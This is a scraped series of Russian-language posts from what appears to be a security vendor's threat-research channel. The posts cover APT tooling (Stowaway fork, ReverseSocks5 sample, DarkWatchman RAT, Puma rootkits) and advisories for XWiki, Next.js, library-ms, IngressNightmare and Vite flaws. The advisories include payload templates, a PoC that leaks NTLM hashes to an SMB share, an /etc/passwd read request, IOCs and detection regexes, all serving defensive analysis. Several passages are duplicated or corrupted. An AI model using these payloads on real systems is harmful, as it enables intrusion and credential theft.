Группировка Erudite Mogwai использует в атаках кастомный Stowaway для продвижения в сети жертвы
Stowaway — это утилита для пентестеров на языке «Golang» от китайских разработчиков. Она позволяет туннелировать трафик и создавать reverse shell.
Злоумышленники используют лишь её прокси-часть с собственными доработками. По сути, они создали форк, который меняет протокол и базовую функциональность с каждой версией.
Мы сравнили известные нам семплы Stowaway с новыми и с оригинальной утилитой. Вот ключевые особенности:
💣 Злоумышленники используют lz4 для сжатия;
💣 Трафик шифруют алгоритмом XXTEA;
💣 Кодовое слово передается в аргумент
💣 В новых версиях группировка добавила поддержку «QUIC-go»;
💣 С каждой новой итерацией меняются «Hello Message» и сама структура протокола.
Недавно нам попался новый семпл
Раньше эта группировка была известна под названиемSpace Pirates . Мы же называем её Erudite Mogwai. Дело в том, что в семплах мы нашли отсылки на исторические события и литературные произведения — атакующие демонстрируют свою эрудированность.
Подробнее про утилиту и про новый инцидент, связанный с группировкой, читайте в нашей новой статье.
Stowaway — это утилита для пентестеров на языке «Golang» от китайских разработчиков. Она позволяет туннелировать трафик и создавать reverse shell.
Злоумышленники используют лишь её прокси-часть с собственными доработками. По сути, они создали форк, который меняет протокол и базовую функциональность с каждой версией.
Мы сравнили известные нам семплы Stowaway с новыми и с оригинальной утилитой. Вот ключевые особенности:
-f. Затем от него вычисляется md5 и сравнивается со значением из семпла. Если кодовое слово не совпадает — утилита перестает работать;Недавно нам попался новый семпл
01b3cfe581e5243f5b3a38a6ba229d3fe32175c480ac0999e515463c03c92a6e, который для сжатия данных использует библиотеку «Flate». Его загрузка происходила с IP 176.32.35.184.Раньше эта группировка была известна под названием
Подробнее про утилиту и про новый инцидент, связанный с группировкой, читайте в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17👍9❤5💩3❤🔥1🐳1
Критическая уязвимость в XWiki CVE-2025-24893
В сети появилась новая уязвимость — рассказываем, как она выглядит и где ее искать.
Описание
Метрики
Настоятельно рекомендуем обновиться❗️
Подробности атаки
Пример нагрузки
Детали
— Количество закрытых фигурных скобок в начале может быть любым, их может и не быть.
—
—
—
— Блок кода в CODE может быть не один, их может быть множество, они будут перечислены через точку с запятой:
Рекомендации по детекту
Ловить эту атаку сможет правило, которое:
1️⃣ проверяет, что запросы идут на
2️⃣ проверяет, что параметр
3️⃣ Проверяет, что параметр
Подробнее ознакомиться со всеми языками, которые поддерживает xwiki, можно в документации.
В сети появилась новая уязвимость — рассказываем, как она выглядит и где ее искать.
Описание
Любой пользователь может выполнить произвольное удаленное выполнение кода (RCE) через запрос к SolrSearch. Уязвимы версии 5.3-milestone-2 по 15.10.11 и с версии 16.0.0-rc-1 до 16.4.1
Метрики
Base Score: 9.8
CWE-95
Настоятельно рекомендуем обновиться
Подробности атаки
Были обнаружены несколько PoC exploit на данную уязвимость. Уязвимой конечной точкой является /xwiki/bin/get/Main/SolrSearch, при значении параметра media равным rss. Сама полезная нагрузка передается в GET или POST параметре text и со значением параметра media равным rss.
Пример нагрузки
```}}}{{async async=false}}{{groovy}}CODE{{/groovy}}{{/async}}```Детали
— Количество закрытых фигурных скобок в начале может быть любым, их может и не быть.
—
{{async async=false}} — попытка отключить асинхронное выполнение макросов.—
{{groovy}} — открывает блок макроса Groovy, который позволяет выполнить Groovy-код на сервере. Могут использоваться и другие виды скриптов, например, python.—
CODE — произвольный код. Вместо CODE располагается RCE код, bash команды могут предаваться внутри, например, new ProcessBuilder.— Блок кода в CODE может быть не один, их может быть множество, они будут перечислены через точку с запятой:
….{{groovy}}CODE1; CODE2; CODE3{{/groovy….
Рекомендации по детекту
Ловить эту атаку сможет правило, которое:
/xwiki/bin/get/Main/SolrSearch;media равен rss;text содержит открытие блока макроса {{groovy}},{{python}},{{javanoscript}} и т.д.Подробнее ознакомиться со всеми языками, которые поддерживает xwiki, можно в документации.
Please open Telegram to view this post
VIEW IN TELEGRAM
⚡14👍8🔥8🐳1👾1
Что это за линии в моем дизассемблере и как соединить блоки кода 🤔
Наверное, каждый реверсер когда-нибудь задавал себе подобные вопросы, когда видел висящие в воздухе блоки кода и пунктирные линии (Скриншоты 1 и 2).
Обычно времени и желания разбираться в подобных вопросах нет — они не сильно мешают. Мы тоже годами откладывали решение, нов конце концов нашли его.
1️⃣ Разбираемся с линиями
Оказывается, в дизассемблере IDA есть функции, которые не возвращают управление вызывающей функции. Как раз для обозначения вызовов таких функций в IDA используется понятие
Подробнее об этом можно почитать в блоге Hex Rays в 126 серии постов «Igor's Tip of the Week».
2️⃣ Соединяем блоки
Для соединения блоков в дизассемблере необходимо в параметрах функции
Затем IDA обычно автоматически связывает нужные блоки (Скриншот 4). Если этого не произошло, то можно выделить инструкции, между которыми проходит
IDA задаст два вопроса — на них можно ответить «Analyze» и «Yes». После этого вы увидите, что
Отметим, что
А что по декомпилированному коду в окне псевдокода?
🫡 Изменить тип no return функции (кнопка Y), убрав
🫡 Иногда нужно убрать опцию
Подробнее подобный кейс описан в блоге Hex Rays в 162 серии постов «Igor's Tip of the Week», дополнительно можно обратить внимание на 159 серию.
Наверное, каждый реверсер когда-нибудь задавал себе подобные вопросы, когда видел висящие в воздухе блоки кода и пунктирные линии (Скриншоты 1 и 2).
Обычно времени и желания разбираться в подобных вопросах нет — они не сильно мешают. Мы тоже годами откладывали решение, но
Оказывается, в дизассемблере IDA есть функции, которые не возвращают управление вызывающей функции. Как раз для обозначения вызовов таких функций в IDA используется понятие
no return line:; ---------------------------------------------------------------------------
Подробнее об этом можно почитать в блоге Hex Rays в 126 серии постов «Igor's Tip of the Week».
Для соединения блоков в дизассемблере необходимо в параметрах функции
sub_7FF7010A9A03 убрать галочку со свойства Does not return (Скриншот 3). Да, именно у самой функции sub_7FF7010A9A03, а не в параметрах родительской функции, в которой мы видим call sub_7FF7010A9A03.Затем IDA обычно автоматически связывает нужные блоки (Скриншот 4). Если этого не произошло, то можно выделить инструкции, между которыми проходит
no return line, и нажать C (команда «MakeCode»). IDA задаст два вопроса — на них можно ответить «Analyze» и «Yes». После этого вы увидите, что
no return line исчезла (Скриншот 5), а блоки кода соединились. Отметим, что
no return-функции имеют соответствующий тип, например:void __fastcall __noreturn sub_7FF7010A9A03();
А что по декомпилированному коду в окне псевдокода?
No return-функции могут также влиять и на декомпилированный код, поэтому если вы видите, что одна инструкция декомпилированного кода соответствует большому количеству разных инструкций в дизассемблере, да и вообще в псевдокоде не хватает строчек кода, то можно попробовать следующее:__noreturn;Does not return в параметрах функции.Подробнее подобный кейс описан в блоге Hex Rays в 162 серии постов «Igor's Tip of the Week», дополнительно можно обратить внимание на 159 серию.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥20👍11❤5🐳2👾2
MSConnect ReverseSocks5
В одном из инцидентов нам попался любопытный бинарный файл с именем
Функция
1️⃣ В первом происходит расшифровка строки C2 сервера
2️⃣ Во второй функции по смещению
Исходя из строки «tcp», можно предположить, что
Для подтверждения этой гипотезы можно заглянуть в таблицу символов — Garble обфусцирует не все имена функций — и поискать по имени пакета
Типы
Далее мы видим вызов функции
Затем следуют вызовы
Функция с похожей структурой встречается в проекте XieBroC2, который использует наработки из
ReverseSocks5 — это утилита, которая сочетает в одном бинаре SOCKS5 агент и сервер. Сервер хостится на стороне злоумышленника, на его же стороне открывается определенный порт, например, 8050, как в найденном C2, а сам трафик проксируется через подключенные к серверу агенты.
Если заглянуть в файл
В коде этой функции используются другие реализации
Похоже, разработчики этого семпла использовали старый форк. Однако сам семпл все же отличается — в нем оставлена только функциональность агента и удалена обработка параметров командной строки, потому что адрес сервера теперь жестко зашит в бинарный файл.
IOC:
В одном из инцидентов нам попался любопытный бинарный файл с именем
MSConnect.exe, который был написан на Golang и накрыт обфускатором «Garble». Символы и строки в нем запутаны, но понять, какие библиотеки используются, можно, например, с помощью «GoStringUngarbler» — там оказались «Go-socks5» и «Yamux».Функция
main состоит всего из двух вызовов. 80.87.203.112:8050. 0x4375c0 происходит сначала такой вызов: lea rax, aTcp ; "tcp"
call En5ByLpA.Z6n01OjnUBoF
Исходя из строки «tcp», можно предположить, что
En5ByLpA.Z6n01OjnUBoF — это функция Dial из пакета crypto/tls, либо из пакета net. Для подтверждения этой гипотезы можно заглянуть в таблицу символов — Garble обфусцирует не все имена функций — и поискать по имени пакета
En5ByLpA. Используем goresym и видим: {
"PackageName": "En5ByLpA",
"FullName": "En5ByLpA.SignatureScheme.String"
},
{
"PackageName": "En5ByLpA",
"FullName": "En5ByLpA.CurveID.String"
},
{
"PackageName": "En5ByLpA",
"FullName": "En5ByLpA.ClientAuthType.String"
},Типы
CurveID, ClientAuthType, SignatureScheme в совокупности характерны для пакета crypto/tls, поэтому смело переименовываем En5ByLpA в crypto/tls. Далее мы видим вызов функции
aBzGlgO.BjV1mgp64WX. По строкам внутри понимаем, что это yamux.Server. Затем следуют вызовы
yamux.AcceptStream и FUN_004377e0. Внутри находится вызов go-socks5.ServeConn. Получаем:... (config initialization)
dialConn, err := tls.Dial(C2);
session := yamux.Server(dialConn, config);
for {
stream, err := session.AcceptStream();
ServeConn(stream); // from go-socks5
}
Функция с похожей структурой встречается в проекте XieBroC2, который использует наработки из
Acebond/ReverseSocks5. ReverseSocks5 — это утилита, которая сочетает в одном бинаре SOCKS5 агент и сервер. Сервер хостится на стороне злоумышленника, на его же стороне открывается определенный порт, например, 8050, как в найденном C2, а сам трафик проксируется через подключенные к серверу агенты.
Если заглянуть в файл
main.go, можно увидеть такую функцию:func ReverseSocksAgent(serverAddress, psk string, useTLS bool) {
log.Println("Connecting to socks server at " + serverAddress)
var conn net.Conn
var err error
if useTLS {
conn, err = tls.Dial("tcp", serverAddress, nil)
} else {
conn, err = net.Dial("tcp", serverAddress)
}
if err != nil {
log.Fatalln(err.Error())
}
_, err = conn.Write(magicPacket[:])
if err != nil {
log.Fatalln(err.Error())
}
log.Println("Connected")
session := mux.Server(conn, psk)
for {
stream, err := session.AcceptStream()
if err != nil {
log.Println(err.Error())
break
}
go func() {
// Note ServeConn() will take overship of stream and close it.
if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream {
log.Println(err.Error())
}
}()
}
session.Close()
}В коде этой функции используются другие реализации
mux и SOCKS5 вместо «Yamux» и «Go-socks5» в найденном семпле, а также слегка отличается структура. Если заглянуть в историю и перейти к init-коммиту, то мы попадем именно на ту версию функции, которая представлена в исследуемом семпле.Похоже, разработчики этого семпла использовали старый форк. Однако сам семпл все же отличается — в нем оставлена только функциональность агента и удалена обработка параметров командной строки, потому что адрес сервера теперь жестко зашит в бинарный файл.
IOC:
80.87.203.112:8050
7ecef21df2f513736389360429bd464398b700bde462807c68e39790a216707b
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21👍11🙏6❤3❤🔥2🐳1👾1
Мы обнаружили очередную волну фишинговых атак, нацеленных на российские компании. Уже четыре года атакующие проводят новые рассылки, совершенствуя вредоносное ПО DarkWatchman RAT в части обхода защитных механизмов.
Вредоносные письма отправляются якобы от имени
Внутри — архивы с именами, имитирующими исполнительные листы, или накладные для посылки через Pony Express, например:
Исполнительный лист №27186421-25 от <date>.zip Накладная №94-4112-8221.zipВ архивах скрываются вредоносные исполняемые файлы с двойным расширением и иконкой PDF, которые после анализа оказались экземплярами DarkWatchman RAT.
Кстати, наши коллеги писали о кампании посылок от якобы Pony Express в декабре 2024.
Функциональность DarkWatchman RAT
Методы коммуникации
Для связи с командными серверами C&C используются жёстко закодированные домены, а также домены, генерируемые алгоритмом DGA, что делает атаку более устойчивой к блокировке.
Особенности DarkWatchman RAT
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15🤯8❤4⚡4👀4👾3👍2🐳2💅1
Критическая уязвимость Next.js (CVE-2025–29927)
За последние сутки в сети появилось более 13 публичных эксплойтов на критическую уязвимость в фреймворке
Проблема связана с некорректной обработкой внутреннего заголовка
❗️ Уязвимы все версии до 14.2.25 и 15.2.3. Настоятельно рекомендуем обновиться.
Middleware (промежуточное или связующее программное обеспечение) — это компонент программного обеспечения, выполняющий обработку запросов и ответов в конвейере приложения.
Метрики
Подробности эксплуатации
Пример
1️⃣ При отправке запроса к
получаем ответ, который содержит перенаправление на страницу авторизации
2️⃣ Теперь нужно добавить заголовок, содержащий полезную нагрузку.
В этом случае сервер отвечает кодом 200, что означает обход проверки авторизации.
Полезная нагрузка
Как защищаться
За последние сутки в сети появилось более 13 публичных эксплойтов на критическую уязвимость в фреймворке
Next.js, позволяющую злоумышленникам обходить проверки авторизации в middleware.Проблема связана с некорректной обработкой внутреннего заголовка
x-middleware-subrequest, который используется для предотвращения рекурсивных запросов и бесконечных циклов в middleware. Метрики
Base Score: 9.1
CWE: CWE-285
Подробности эксплуатации
Если в запросе присутствует заголовок x-middleware-subrequest с нужным значением, то middleware может быть пропущен, и запрос будет направлен непосредственно к конечной точке. Так можно обойти проверку авторизации.
Пример
/dashboard:GET /dashboard HTTP/1.1
получаем ответ, который содержит перенаправление на страницу авторизации
/login:HTTP/1.1 307 Temporary Redirect
location: /login
Date: Mon, 24 Mar 2025 07:18:09 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 6
/login
GET /dashboard HTTP/1.1
Host: <>
Upgrade-Insecure-Requests: 1
x-middleware-subrequest: <>middleware<>
В этом случае сервер отвечает кодом 200, что означает обход проверки авторизации.
HTTP/1.1 200 OK
Полезная нагрузка
В процессе исследования уязвимости было найдено множество уникальных значений заголовка x-middleware-subrequest — все зависит от уязвимой версии. Но у всех есть общая черта использования middleware как части значения.
Как защищаться
Написать блокирующее правило на использование заголовка x-middleware-subrequest.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15❤5👀5🐳2👍1🤡1👾1
CVE-2025-24071 (NTLM Leak via .library-ms) уже ITW: как обнаружить
Уязвимость была освещена в мартовском патч-вторнике, а также недавно описана коллегами из PT ESC.
Работает она так: при распаковке из архива файла с расширением
Нам известно, что злоумышленники взяли уязвимость на вооружение.
Однако Microsoft до сих пор не обновил информацию о фактах эксплуатации In-the-Wild:
Более того, вендор считает, что вероятность массовой эксплуатации уязвимости «маловероятна».
Алгоритм воспроизведения
1. Злоумышленник создает файл с расширением
2. Запаковывает этот
3. Отправляет архив жертве, например, фишинговым письмом, как это уже делают настоящие злоумышленники;
4. Жертва распаковывает архив, и в момент распаковки library-ms файла Windows Explorer автоматически парсит содержимое
После перехвата NTLM-хэша злоумышленник может использовать его в атаках типа Pass-the-Hash.
🫡 Любопытный момент: аутентификация на SMB-шаре, адрес которой зашит в файл, будет происходить при *любом* взаимодействии с созданным файлом
🫡 Любопытный момент [2]: если на системе жертвы нет ни одного архиватора, распаковать архив попытается процесс explorer.exe.
🫡 Любопытный момент [3]: после выхода патча Microsoft присвоили уязвимости новый номер,
Мониторинг и детектирование
Рекомендуем отслеживать создание файлов
Если используете Sysmon, то на событие 11 (FileCreate):
Уязвимость была освещена в мартовском патч-вторнике, а также недавно описана коллегами из PT ESC.
Работает она так: при распаковке из архива файла с расширением
.library-ms происходит автоматическая NTLM-аутентификация по адресу, указанному в файле, что может раскрыть аутентификационную информацию пользователя.Нам известно, что злоумышленники взяли уязвимость на вооружение.
Однако Microsoft до сих пор не обновил информацию о фактах эксплуатации In-the-Wild:
Exploit Code Maturity: Unproven
Exploited: No
Более того, вендор считает, что вероятность массовой эксплуатации уязвимости «маловероятна».
Алгоритм воспроизведения
1. Злоумышленник создает файл с расширением
.library-ms, который содержит путь до SMB-шары внутри тэга <searchConnectorDenoscriptionList>:library_content = f**"<?xml version="1.0" encoding="UTF-8"?>
<libraryDenoscription xmlns="http://schemas.microsoft.com/windows/2909/1ibrary*>
<searchConnectorDenoscriptionList>
<searchConnectorDenoscription>
<simpleLocation>
<url>\\ip_address}\shared</url>
</simpleLocation>
</searchConnectorDenoscription>
</searchConnectorDenoscriptionList>
</libraryDenoscription>
library_file_name - f"(file_name).library-ms"
with open(library_file_name, "w", encoding "utf-&") as f:
f.write(library_content)
2. Запаковывает этот
.library-ms файл в архив;3. Отправляет архив жертве, например, фишинговым письмом, как это уже делают настоящие злоумышленники;
4. Жертва распаковывает архив, и в момент распаковки library-ms файла Windows Explorer автоматически парсит содержимое
.library-ms и отправляет аутентификацию на указанную SMB-шару, на которой мы предварительно поднимаем responder.После перехвата NTLM-хэша злоумышленник может использовать его в атаках типа Pass-the-Hash.
.library-ms, от создания,до удаления или попыток переместить его в другое место на диске.CVE-2025-24054.Мониторинг и детектирование
Рекомендуем отслеживать создание файлов
.library-ms на диске процессами-архиваторами или Windows Explorer (explorer.exe). Если вы используете стандартный аудит Windows, обратите внимание на событие Security\4663 (An attempt was made to access an object):{
"Event": {
"System": {
"Provider": {
"Name": "Microsoft-Windows-Security-Auditing",
"Guid": "{54849625-5478-4994-a5ba-3e3b0328c30d}"
},
"EventID": "4663",
},
"EventData": {
"Data": [
{
"text": "C:\\me\\CVE-2025-24071_PoC\\victim.library-ms",
"Name": "ObjectName"
},
{
"text": "0x3438",
"Name": "HandleId"
},
{
"text": "%%4417\r\n\t\t\t\t%%4418\r\n\t\t\t\t",
"Name": "AccessList"
},
{
"text": "0x6",
"Name": "AccessMask"
},
{
"text": "C:\\Windows\\explorer.exe",
"Name": "ProcessName"
},
{
"text": "S:AI",
"Name": "ResourceAttributes"
}
]
}
}
}Если используете Sysmon, то на событие 11 (FileCreate):
{
"Event": {
"System": {
"Provider": {
"Name": "Microsoft-Windows-Sysmon",
"Guid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}"
},
"EventID": "11",
"Channel": "Microsoft-Windows-Sysmon/Operational",
},
"EventData": {
"Data": [
{
"text": "C:\\Program Files\\WinRAR\\WinRAR.exe",
"Name": "Image"
},
{
"text": "C:\\me\\CVE-2025-24071_PoC\\victim.library-ms",
"Name": "TargetFilename"
},
]
}
}
}Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍9🙏5❤2🐳1🆒1
Критические уязвимости Ingress NGINX IngressNightmare
IngressNightmare — это набор уязвимостей CVE-2025–24513, CVE-2025-24514, CVE-2025-1097, CVE-2025-1098 и CVE-2025-1974. С ними злоумышленник может внедрять произвольные директивы конфигурации NGINX, включая пользовательские правила маршрутизации и параметры безопасности, в уязвимые системы.
❗️ Для выполнения RCE нужно последовательно проэксплуатировать цепочку из уязвимостей. CVE-2025-1974 — ее последнее звено, которое устранено в 1.11.5, 1.12.1 и более поздних версиях. Настоятельно рекомендуем обновиться.
Ingress NGINX Controller — это инструмент для управления входящим трафиком в Kubernetes-кластере. Он направляет запросы пользователей к нужным сервисам внутри кластера, действуя как прокси-сервер.
Нагрузка
Большинство уязвимостей связаны с аннотациями, например: nginx.ingress.kubernetes.io/auth-url. Разберем ее:
1️⃣
2️⃣
3️⃣
Пример эксплуатации
Этот запрос должен подтвердить наличие уязвимости на сервере:
IngressNightmare — это набор уязвимостей CVE-2025–24513, CVE-2025-24514, CVE-2025-1097, CVE-2025-1098 и CVE-2025-1974. С ними злоумышленник может внедрять произвольные директивы конфигурации NGINX, включая пользовательские правила маршрутизации и параметры безопасности, в уязвимые системы.
CVE-2025-24513 (CVSS 4.8) — недостаточная проверка входных данных в ingress-nginx, позволяющая злоумышленнику обойти каталог внутри контейнера, что может привести к DoS или ограниченному раскрытию секретов.
CVE-2025-24514 (CVSS 8.8) — аннотация Ingress auth-url позволяет внедрять конфигурацию в NGINX, что ведет к выполнению кода и раскрытию секретов.
CVE-2025-1097 (CVSS 8.8) — аннотация Ingress auth-tls-match-cn может быть использована для внедрения конфигурации в NGINX, что приводит к RCE и утечке секретов.
CVE-2025-1098 (CVSS 8.8) — аннотации Mirror-Target и Mirror-Host позволяют внедрять произвольную конфигурацию в NGINX, что ведет к RCE и утечке секретов.
CVE-2025-1974 (CVSS 9.8) — критическая уязвимость, позволяющая неаутентифицированному злоумышленнику в сети подов выполнить произвольный код в контексте ingress-nginx controller при определенных условиях.
Нагрузка
"request": {
"object": {
"metadata": {
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\n\nssl_engine <WAY>;\n\n"
}
}
}
}
}Большинство уязвимостей связаны с аннотациями, например: nginx.ingress.kubernetes.io/auth-url. Разберем ее:
nginx.ingress.kubernetes.io — обязательная префиксная часть для аннотаций, используемых с Nginx Ingress Controller в Kubernetes. Все аннотации, которые управляют поведением Nginx Ingress Controller, должны начинаться с этого префикса.auth-url — название аннотации http://example.com/#;}}}\n\nssl_engine <WAY>;\;\n\n — попытка эксплуатации RCE через ssl_engine. <WAY> указывает на путь /proc/{pid}/fd/{fd}, {pid} и {fd} — значения, которые злоумышленник должен угадать или перебрать. Но для проверки уязвимости может использоваться простоя строка test, как показано на примере ниже. Пример эксплуатации
Этот запрос должен подтвердить наличие уязвимости на сервере:
curl -v -X POST -H "Content-Type: application/json" -d '{
"request": {
"object": {
"metadata": {
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "test"
}
}
}
}
}' https://localhost:1337/validate --insecurePlease open Telegram to view this post
VIEW IN TELEGRAM
🔥15👍6👌3🤡1🐳1
Лог
В логе есть несколько сообщений, которые могут быть связаны с ошибками, но окончательное сообщение подтверждает, что конфигурация успешно проверена и запрос принят:
Это означает, что Ingress-ресурс был успешно проверен, валидация пройдена, принято решение о разрешении. Этот процесс происходит через admission controller, который проверяет запросы перед тем, как они будут применены в Kubernetes.
Как защищаться
Нужно написать блокирующее правило на
W0326 07:59:03.292219 7 controller.go:1110] Error obtaining Endpoints for Service "/kubernetes": no object matching key "/kubernetes" in local store
W0326 07:59:03.292390 7 controller.go:1235] Error loading custom default certificate, falling back to generated default:
…….
I0326 07:59:03.342274 7 admission.go:149] processed ingress via admission controller {testedIngressLength:1 testedIngressTime:0.05s renderingIngressLength:1 renderingIngressTime:0.003s admissionTime:0.053s testedConfigurationSize:18.1kB}
I0326 07:59:03.342431 7 main.go:107] "successfully validated configuration, accepting" ingress="/"
В логе есть несколько сообщений, которые могут быть связаны с ошибками, но окончательное сообщение подтверждает, что конфигурация успешно проверена и запрос принят:
I0326 07:59:03.342431 7 main.go:107] "successfully validated configuration, accepting" ingress="/"
Это означает, что Ingress-ресурс был успешно проверен, валидация пройдена, принято решение о разрешении. Этот процесс происходит через admission controller, который проверяет запросы перед тем, как они будут применены в Kubernetes.
Как защищаться
Нужно написать блокирующее правило на
POST-запросы с заголовком Content-Type: application/json и телом, соответствующим регулярному выражению:
\s*nginx\.ingress\.kubernetes\.io\/.*?\"\s*:\s*\".*?\
🔥16👍11⚡7
Puma: новый руткит в арсенале Shedding Zmiy 🐍
У одной из самых активных группировок Восточной Европы, атакующих российские организации, появился новый инструмент — руткит Puma. Чтобы обнаружить его и предотвратить атаки, нужно понимать, как он работает.
В ядре руткит перехватывает системные вызовы и функции. Для этого он:
💣 редактирует таблицу вызовов, заменяя оригинальные обработчики своими,
💣 использует фреймворк для трассировки ядра Linux — Ftrace.
После этого Puma может скрывать файлы, процессы, директории, сетевые соединения, красть конфиденциальную информацию и подменять содержимое в файлах.
Puma работает не один, у него есть «сообщник» — руткит Pumatsune. Изначально он находится внутри ядерного руткита, но в результате перехвата некоторых системных вызовов попадает в пользовательское пространство и работает там. В списке его задач —взаимодействие с C2 сервером.
👀 Подробнее о рутките Puma — в новой статье.
У одной из самых активных группировок Восточной Европы, атакующих российские организации, появился новый инструмент — руткит Puma. Чтобы обнаружить его и предотвратить атаки, нужно понимать, как он работает.
Puma — руткит в пространстве ядра, нацеленный на Linux-системы. Он попадает в инфраструктуру жертвы, когда легитимная утилита «Cron» заменяется специальным загрузчиком. Затем Puma закрепляется и загружается в ядро при каждом запуске системы.
В ядре руткит перехватывает системные вызовы и функции. Для этого он:
После этого Puma может скрывать файлы, процессы, директории, сетевые соединения, красть конфиденциальную информацию и подменять содержимое в файлах.
Puma работает не один, у него есть «сообщник» — руткит Pumatsune. Изначально он находится внутри ядерного руткита, но в результате перехвата некоторых системных вызовов попадает в пользовательское пространство и работает там. В списке его задач —
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥26👍10⚡6👾2💅1
Уязвимость в Vite CVE-2025-30208
CVE-2025-30208 — уязвимость в популярном инструменте фронтенд-разработки
😬 Метрики
Base Score: 5.3
CWE: CWE-200; CWE-284
😬 Описание
Добавление в URL подстрок
😬 Полезная нагрузка
Полезная нагрузка представляет из себя подобную структуру:
😬 Как защищаться
Зная структуру полезной разгрузки, можем написать регулярное выражение на URI:
CVE-2025-30208 — уязвимость в популярном инструменте фронтенд-разработки
Vite, которая позволяет злоумышленнику обходить ограничения доступа к файлам. Уязвимы версии до 6.2.3, 6.1.2, 6.0.12, 5.4.15 и 4.5.10Base Score: 5.3
CWE: CWE-200; CWE-284
Добавление в URL подстрок
?raw?? или ?import&raw?? позволяет получить содержимое произвольного файла. Это происходит из-за того, что конечные разделители, такие как ?, удаляются в нескольких местах, но не обрабатываются корректно в регулярных выражениях, используемых для проверки строки запроса.Полезная нагрузка представляет из себя подобную структуру:
/@fs/etc/passwd?<WORD>?raw
@fs — механизм, который запрещает доступ к файлам за пределами разрешенных директорий,/etc/passwd — необходимый нам файл, <WORD>? — не обязательный параметр, может быть любой строкой,raw — импорт файла как строки.Зная структуру полезной разгрузки, можем написать регулярное выражение на URI:
\/@fs\/([a-zA-Z0-9_-]+\/)*([a-zA-Z0-9_-]+).+?\?raw
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15😱9💅4❤2⚡2🔥1👾1
Pumatsune: как работает младший брат Puma 🐾
Руткит Puma — не самостоятельный вредонос. Он лишь предоставляет инструменты, которые можно использовать из пространства пользователя. С ним «в комплекте» идет руткит Pumatsune, который позволяет раскрыть весь вредоносный потенциал в ядре.
👁 С помощью Puma, который находится в ядре, Pumatsune незаметно подключается к C2-серверу и выполняет команды. Любые процессы и соединения Pumatsune может скрыть с помощью Puma.
💣 Это открывает руткиту большие возможности: например, он может совершать эксфильтрацию конфиденциальной информации или незаметно исполнять shell-команды.
Симбиоз двух вредоносов очень опасен для неподготовленной инфраструктуры. Узнайте, как от них защититься, в нашей новой статье.
↗️ Читать статью
Руткит Puma — не самостоятельный вредонос. Он лишь предоставляет инструменты, которые можно использовать из пространства пользователя. С ним «в комплекте» идет руткит Pumatsune, который позволяет раскрыть весь вредоносный потенциал в ядре.
Название Pumatsuneвыбрано не просто так. Этот руткит берет свое начало от руткита Kitsune, который известен с 2022 года. В отличие от старых версий, без поддержки из ядра Pumatsune работать не может.
Симбиоз двух вредоносов очень опасен для неподготовленной инфраструктуры. Узнайте, как от них защититься, в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥20⚡10👍7🍌4😁1👾1
Как победить руткиты Puma и Pumatsune ⚡️
Если руткит уже попал в систему, его нужно устранить. Puma закрепляется через подмененный легитимный файл
У Pumatsune нет никаких способов закрепления, он будет находиться в инфраструктуре, пока в ядре работает руткит Puma. Поэтому самый простой способ избавиться от него — заменить вредоносный загрузчик на легитимный файл
Как заменить вредоносный cron легитимным, если у вас Debian
1️⃣ Определить название пакета, из которого был установлен пакет
Вывод команды:
2️⃣ Скачать deb-пакет:
Команда загрузит deb-файл, например,
3️⃣ Распаковать пакет:
4️⃣ Остановить службу
5️⃣ Заменить вредоносный
6️⃣ Перезагрузить систему:
Как заменить вредоносный cron легитимным на RHEL
1️⃣ Определить название пакета, из которого был установлен
Вывод команды:
Название пакета может меняться в зависимости от версии ОС.
2️⃣ Скачать
Если нет
3️⃣ Распаковать пакет:
4️⃣ Остановить службу
5️⃣ Заменить вредоносный
6️⃣ Перезагрузить систему:
После этих действий Puma перестанет загружаться в ядро, а вместе с ним пропадет и Pumatsune.
❗️ Shedding Zmiy редко обходится одним инструментом в своих атаках. Если вы обнаружили Puma, скорее всего, в вашей инфраструктуре есть и другое ВПО группировки. Обратитесь за помощью к экспертам по оценке компрометации и реагированию на ИБ-инциденты.
В предыдущих постах мы рассказывали о двух руткитах — Puma и Pumatsune. Проверить систему на наличие руткита можно с помощью yara-правила, которое мы оставили в статье.
Если руткит уже попал в систему, его нужно устранить. Puma закрепляется через подмененный легитимный файл
cron:/usr/sbin/cron — Debian-системы;/usr/sbin/crond — RHEL-системы.У Pumatsune нет никаких способов закрепления, он будет находиться в инфраструктуре, пока в ядре работает руткит Puma. Поэтому самый простой способ избавиться от него — заменить вредоносный загрузчик на легитимный файл
cron и перезагрузить систему.Как заменить вредоносный cron легитимным, если у вас Debian
cron:dpkg -S /usr/sbin/cron
Вывод команды:
cron: /usr/sbin/cron
cron — имя deb-пакета.apt-get download cron
Команда загрузит deb-файл, например,
cron_3.0pl1-136ubuntu1_amd64.deb. Название пакета может меняться в зависимости от версии ОС.pkg-deb -x cron_*.deb cron_orig
cron_orig — название каталога, куда будут распакованы файлы deb-пакета.cron:sudo systemctl stop cron
cron оригинальным:sudo install -m 755 -o root -g root cron_orig/usr/sbin/cron /usr/sbin/cron
sudo reboot
Как заменить вредоносный cron легитимным на RHEL
cron:rpm -qf /usr/sbin/crond
Вывод команды:
cronie-1.4.11-25.el7_9.x86_64
Название пакета может меняться в зависимости от версии ОС.
rpm-пакет:yumdownloader cronie
Если нет
yumdownloader, установите его:sudo yum install -y yum-utils
rpm2cpio cronie-*.rpm | cpio -idmv ./usr/sbin/crond
cron:sudo systemctl stop cron
cron оригинальным:sudo install -m 755 -o root -g root ./usr/sbin/crond /usr/sbin/crond
sudo reboot
После этих действий Puma перестанет загружаться в ядро, а вместе с ним пропадет и Pumatsune.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍18🔥11⚡5🤔2❤1🍌1👾1
Уязвимость в Vite CVE-2025-31125
